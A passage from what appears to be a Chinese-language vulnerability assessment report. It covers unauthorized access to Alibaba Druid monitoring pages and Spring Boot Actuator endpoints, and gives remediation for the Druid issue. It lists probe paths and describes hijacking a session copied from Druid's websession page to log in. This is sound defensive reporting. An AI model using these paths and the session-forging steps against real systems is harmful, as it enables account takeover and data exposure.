       options.AddSecurityDefinition("Bearer", new ApiKeyScheme

         {

            Description = "Authorization format : Bearer {token}",

             Name = "Authorization",

             In = "header",

             Type = "apiKey"

          });//api界面新增authorize按钮

       });

修改后我们可以看到生成的Swagger UI界面新增了一个“Authorize”按钮：

点击“Authorize”按钮弹出以下界面

在value文本框中输入"Bearer "+token(登录接口返回的access_token),然后点击“Authorize”按钮，之后再调用需要权限验证的接口就可以正常调用。

测试过程

复测过程

复测结果

未修复

漏洞名称

Druid未授权访问漏洞

漏洞地址

漏洞等级

高危

漏洞描述

Druid未授权访问漏洞是一种安全漏洞，它允许攻击者访问Druid中没有经过授权的数据。这可能会导致敏感信息泄露，并使攻击者能够在系统中执行恶意操作。为了避免这种情况，Druid管理员应该对系统进行严格的访问控制，并确保只有授权的用户才能访问数据。

Druid是阿里巴巴数据库事业部出品，为监控而生的数据库连接池。Druid提供的监控功能，监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问。

漏洞成因

如果网站无需登录，则可利用未授权访问漏洞，直接访问以下链接：

html:

/druid/index.html          #Druid Index

/druid/sql.html            #Druid sql监控页面

/druid/weburi.html         #Druid Web URI监控页面

/druid/websession.html      #Druid Web Session监控页面

json:

/druid/weburi.json         #Druid Web URI json

/druid/websession.json      #Druid Web Session json

Druid 登录接口：

/druid/login.html         #Druid登录认证页面

其他：

/system/druid/login.html

/webpage/system/druid/login.html

/druid/datasource.html

/druid/wall.html

/druid/webapp.html

/system/druid/websession.html

/webpage/system/druid/websession.html

/druid/spring.html

/druid/api.html。

漏洞危害

通过泄露的Session登录后台。

当/druid/websession.html页面存在数据时，我们可利用该页面的session伪造登录，点击最后访问时间，然后复制一条离现在时间最为接近的session进行伪造登录；之所以要点击最后访问时间排序session，是因为此处记录的Session并非全部都是用户在线时的session，当用户退出系统时，session虽然还存在，但已失效，无法再利用。

修复方案

Druid 开启权限校验。

Druid 的验证方式官网提供了一种根据ip来做访问限制的方式，即allow和deny, 详询 https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE_StatViewServlet%E9%85%8D%E7%BD%AE

还有一种方式，即用户名和密码

首先从web.xml中的servlet出发

   DruidStatView

   com.alibaba.druid.support.http.StatViewServlet

综合分析在web.xml中配置servlet的初始化参数loginUsername和loginPassword即可

在访问druid的监控页面，会自动转到login.html

Druid内置提供了一个StatViewServlet用于展示Druid的统计信息。

这个StatViewServlet的用途包括：

提供监控信息展示的html页面

提供监控信息的JSON API

配置web.xml

StatViewServlet是一个标准的javax.servlet.http.HttpServlet，需要配置在你web应用中的WEB-INF/web.xml中。

   DruidStatView

   com.alibaba.druid.support.http.StatViewServlet

   DruidStatView

   /druid/*

根据配置中的url-pattern来访问内置监控页面，如果是上面的配置，内置监控页面的首页是/druid/index.html

配置监控页面访问密码

需要配置Servlet的 loginUsername 和 loginPassword这两个初始参数。

示例如下:

   DruidStatView

   com.alibaba.druid.support.http.StatViewServlet

      resetEnable

      true

      loginUsername

      druid

      loginPassword 

      druid 

   DruidStatView 

   /druid/* 

。

测试过程

复测过程

复测结果

未修复

漏洞名称

Spring Boot Actuator v2未授权访问漏洞

漏洞地址

漏洞等级

高危

漏洞描述

Spring Boot Actuator v2未授权访问漏洞是一种安全漏洞，它指的是攻击者可以在没有经过授权的情况下访问Spring Boot Actuator v2中的一些端点，这些端点可能包含敏感信息，如系统配置和应用程序状态信息。为了避免这种情况，开发人员应该对Spring Boot Actuator v2的端点进行适当的访问控制，并确保只有授权的用户才能访问这些端点。

Actuator是Spring Boot提供的服务监控和管理中间件，默认配置会出现接口未授权访问，部分接口会泄露网站流量信息和内存信息等，使用Jolokia库特性甚至可以远程执行任意代码，获取服务器权限。

漏洞成因

Spring Boot Framework包含许多称为执行器的功能，可帮助您在将Web应用程序投入生产时监视和管理Web应用程序。它们旨在用于审计，运行状况和指标收集，它们还可能在配置错误时打开服务器的隐藏门。

当Spring Boot应用程序运行时，它会自动将多个端点（例如'/health'，'/trace'，'/beans'，'/env'等）注册到路由进程中。对于Spring Boot 1 - 1.4，它们无需身份验证即可访问，从而导致严重的安全问题。从Spring 1.5版开始，默认情况下，除“/health”和“/info`”之外的所有端点都被视为敏感和安全，但应用程序开发人员通常会禁用此安全性。

以下Actuator端点可能具有安全隐患，从而导致可能的漏洞：

/auditevents - 显示应用暴露的审计事件 (比如认证进入、订单失败)

/autoconfig - 提供了一份自动配置报告，记录了哪些自动配置条件通过，哪些没通过

/beans - 显示应用程序中所有 Spring bean 的完整列表。

/conditions - 显示自动配置报告，报告中包含所有自动配置候选项以及应用或不应用这些候选项的原因。

/configprops - 显示所有 @ConfigurationProperties 的整理列表。

/dump - 执行线程转储。

/env - 公开 Spring ConfigurableEnvironment 中的属性。

/health - 显示应用程序的运行状况信息（通过未经验证的连接访问时显示简单的状态信息，或通过身份验证时显示完整的消息详细信息）。

/heapdump - 堆存储

/info - 显示任意应用程序信息。

/logfile - 输出日志文件的内容

/loggers - 显示和修改配置的loggers

/mappings - 显示所有 @RequestMapping 路径的整理列表。

/metrics - 显示当前应用程序的指标信息。

/restart - 重新启动应用程序

/shutdown - 允许应用程序正常关机（默认不启用），要求endpoints.shutdown.enabled设置为true

/trace - 显示跟踪信息（默认为上次的一些 HTTP 请求）。

对于Spring 1x，它们在根URL下注册，并且在2x中它们移动到“/actuator/”基本路径。

/actuator

/actuator/auditevents

/actuator/beans

/actuator/conditions

/actuator/configprops

/actuator/env

/actuator/health

/actuator/heapdump

/actuator/httptrace

/actuator/hystrix.stream

/actuator/info

/actuator/jolokia

/actuator/loggers

/actuator/mappings

/actuator/metrics

/actuator/scheduledtasks

/actuator/threaddump

/auditevents

/autoconfig

/beans

/cloudfoundryapplication